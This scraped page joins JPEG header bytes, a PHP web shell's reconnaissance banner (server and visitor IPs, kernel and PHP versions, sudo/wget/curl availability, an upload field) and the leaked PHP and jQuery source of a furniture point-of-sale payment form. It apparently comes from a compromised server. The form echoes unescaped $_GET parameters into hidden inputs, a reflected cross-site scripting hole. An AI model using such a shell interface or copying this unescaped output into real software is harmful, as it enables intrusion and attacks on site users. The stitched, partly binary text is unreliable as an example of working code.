����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.15.148.76 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/view/ |
Upload File : |
<?php $client = PersonData::getById($_GET["id"]); //print_r($client); //obtenemos el total de la venta y el enganche $venta = SellData::getByIdSaleClient($client->contract); //print_r($venta); $sell = $venta->total; $enganche = $venta->disc_rp; $totalDeuda= 0; $i=0; $dateF = PaymentData::ClientPayByContractEfe($client->contract); // if(isset($dateF)){ $dateF->created_at; }else{ //pago programado PAGADO $dateFP = PaymentData::ClientPayByContProgPagado($client->contract); //si existe if(isset($dateFP)){ $totalDeuda = $sell - $dateFP->val; //si no existe }else{ $totalDeuda = $sell; } } $users = PaymentData::getAllByClientId2($client->contract); foreach($users as $user){ $totalDeuda +=$user->val; // echo $i++; } //si hay enganche lo descontamos //sacamos el enganche $date = PaymentData::ClientPayByContractProg($client->contract); $totalT = PaymentData::sumByClientId2($client->contract)->total; //obtenemos los abonos $abonos = PaymentData::sumByClientId($client->contract)->total; $saldo = PaymentData::sumByClientId2($client->contract)->total; $saldo=$totalT-$abonos; //obtenemos datos de la tabla collection_data $collection_data = PaymentData::getByIdCollection($_GET["id"]); $date = date("Y-m-d"); //cobradores por ruta ?> <div class="container"> <div class="row"> <div class="col-md-24"> <h1>Realizar Pago</h1> <br> <div class="col-md-8 col-md-offset-2"> <div class="card"> <div class="card-body"> <div class="form-group"> <label for="inputEmail1" class="col-lg-12 control-label">Fecha de cobro</label> <div class="col-md-12"> <input type="date" name="created_pay" min="2018-01-01" max="2035-12-31" class="form-control" id="created_pay" value="<?php echo $date;?>" required> </div> </div> <?php $collectors = PersonData::getAllCollector(); //print_r($collectors); ?> <div class="form-group"> <label for="inputEmail1" class="col-lg-12 control-label">cobrador</label> <div class="col-md-12"> <select name="id_collector" id="id_collector" class="form-control"> <option value="0">-- OFICINA --</option> <?php foreach($collectors as $category):?> <option value="<?php echo $category->id_cust;?>"><?php echo $category->name;?></option> <?php endforeach;?> </select> </div> </div> <div class="form-group"> <label for="inputEmail1" class="col-lg-12 control-label">Tipo Pago</label> <div class="col-md-12"> <select name="type_pay" id="type_pay" class="form-control"> <option value="0">--Abono--</option> <option value="1">Enganche</option> </select> </div> </div> <div class="form-group"> <label for="inputEmail1" class="col-lg-12 control-label">Cliente</label> <div class="col-md-12"> <input type="text" name="" id="product_code" class="form-control" id="barcode" placeholder="Cliente" value="<?php echo $client->name; ?>" readonly> <input type="hidden" name="client_id" id="client_id" class="form-control" value="<?php echo $client->contract; ?>"> </div> </div> <div class="form-group"> <label for="inputEmail1" class="col-lg-12 control-label">Total adeudado</label> <div class="col-md-12"> <input type="text" name="" id="total_deuda" class="form-control" placeholder="Total adeudado" value="$ <?php echo $totalDeuda; ?>" readonly> <input type="hidden" name="" id="total_venta" class="form-control" value="<?php echo $sell; ?>"> <label for="inputEmail1" class="col-lg-12 control-label">Pago minimo</label> <input type="text" name="pay_min" id="pay_min" class="form-control" value="<?php echo $collection_data->min_pay; ?>" readonly> </div> </div> <?php if(isset($_GET["credito"])): ?> <input type="hidden" name="id" id="id" class="form-control" value="<?php echo $_GET["sell"]; ?>"> <input type="hidden" name="money" id="money" class="form-control" value="<?php echo $_GET["money"]; ?>"> <input type="hidden" name="money1" id="money1" class="form-control" value="<?php echo $_GET["money1"]; ?>"> <input type="hidden" name="f_id" id="f_id" class="form-control" value="<?php echo $_GET["f_id"]; ?>"> <input type="hidden" name="codef_id" id="codef_id" class="form-control" value="<?php echo $_GET["codef_id"]; ?>"> <?php endif; ?> <div class="form-group"> <label for="inputEmail1" class="col-lg-12 control-label">Pago a Recibir*</label> <div class="col-md-12"> <input type="text" name="val" required id="val" id="val" class="form-control" placeholder="Pago a recibir"> </div> </div> <div class="form-group"> <div class="col-lg-offset-2 col-lg-10"> <button id="btnsavetrans" type="submit" class="btn btn-primary">Realizar Pago</button> <a href="./?view=credit" class="btn btn-danger">Cancelar</a> </div> </div> </div> </div> </div> </div> </div> </div> <script> $(document).ready(function(){ //auto enfoque a input pago minimo $pagomin = document.querySelector("#val"); $pagomin.focus(); $("#addpayment").submit(function(e){ total = $("#total").val(); val = $("#val").val(); if( val!="" && val>0 ){ console.log(total); if(parseFloat(val)<=parseFloat(total)){ // procesamos go = confirm("Esta seguro que desea continuar?"); if(!go){ e.preventDefault(); } }else{ alert("No es posible ingresar un pago mayor a la deuda total.") e.preventDefault(); } }else{ alert("Debes ingresar un valor mayor que 0.") e.preventDefault(); } }); }); //agregamos pago $(document).on("click","#btnsavetrans",function() { $("#btnsavetrans").prop('disabled', true); console.log("proceso para abonar "); var val = $("#val").val(); if(val == '' || val == null) { console.log("condicion null o campo vacio "); $.notify({ message: "El pago minimo es requerido" },{ type: 'warning', delay: 5000, }); return; }else{ $("#btnsavetrans").prop('disabled', false); } var created_pay = $("#created_pay").val(); var id_collector = $("#id_collector").val(); var type_pay = $("#type_pay").val(); //nombre cliente var product_code = $("#product_code").val(); var client_id = $("#client_id").val(); var pay_min = $("#pay_min").val(); swal({ title: "Pago", text: "Guardar Pago / Abono ??", type: "warning", showCancelButton: true, confirmButtonColor: "#DD6B55", confirmButtonText: "Guardar", closeOnConfirm: true }, function(){ $("#btnsavetrans").prop('disabled', true); //proccess_waiting("#infoproccesspayment"); var value = { created_pay : created_pay, id_collector : id_collector, type_pay : type_pay, product_code : product_code, client_id : client_id, pay_min : pay_min, val : val, method : "save_pay" }; $.ajax( { url : "./index.php?action=addpayment", type: "POST", data : value, success: function(data, textStatus, jqXHR) { $("#btnsavetrans").prop('disabled', false); var data = jQuery.parseJSON(data); console.log(data.result); if(data.result == false){ $.notify({ message: " Engache Ya Pagado, revise datos " },{ type: 'danger', delay: 5000, }); return; } if(data.result == true){ var xid_sales = data.xsale_id; var mapForm = document.createElement("form"); mapForm.target = "Map"; mapForm.method = "POST"; // or "post" if appropriate mapForm.action = "index.php?view=onesell"; var mapInput = document.createElement("input"); mapInput.type = "hidden"; mapInput.name = "id_sales"; mapInput.value = xid_sales; mapInput.visibility = true; mapForm.appendChild(mapInput); document.body.appendChild(mapForm); map = window.open("", "Map", "status=0,title=0,height=600,width=800,scrollbars=1"); if (map) { mapForm.submit(); } else { $.notify({ message: " Revisar Tabla " },{ type: 'Debes permitir ventanas emergentes para que puedas imprimir ticket', delay: 5000, }); } $.notify({ message: " Venta Registrada " },{ type: 'info', delay: 1000, }); window.open("./index.php?view=credit"); }else{ $.notify({ message: "Error enganche revise, error :"+data.mensaje },{ type: 'danger', delay: 10000, }); } }, error: function(jqXHR, textStatus, errorThrown) { console.log("Error General!!!!"); $("#infoproccesspayment").html(""); $("#btnsavetrans").prop('disabled', false); } }); }); }) </script> </section>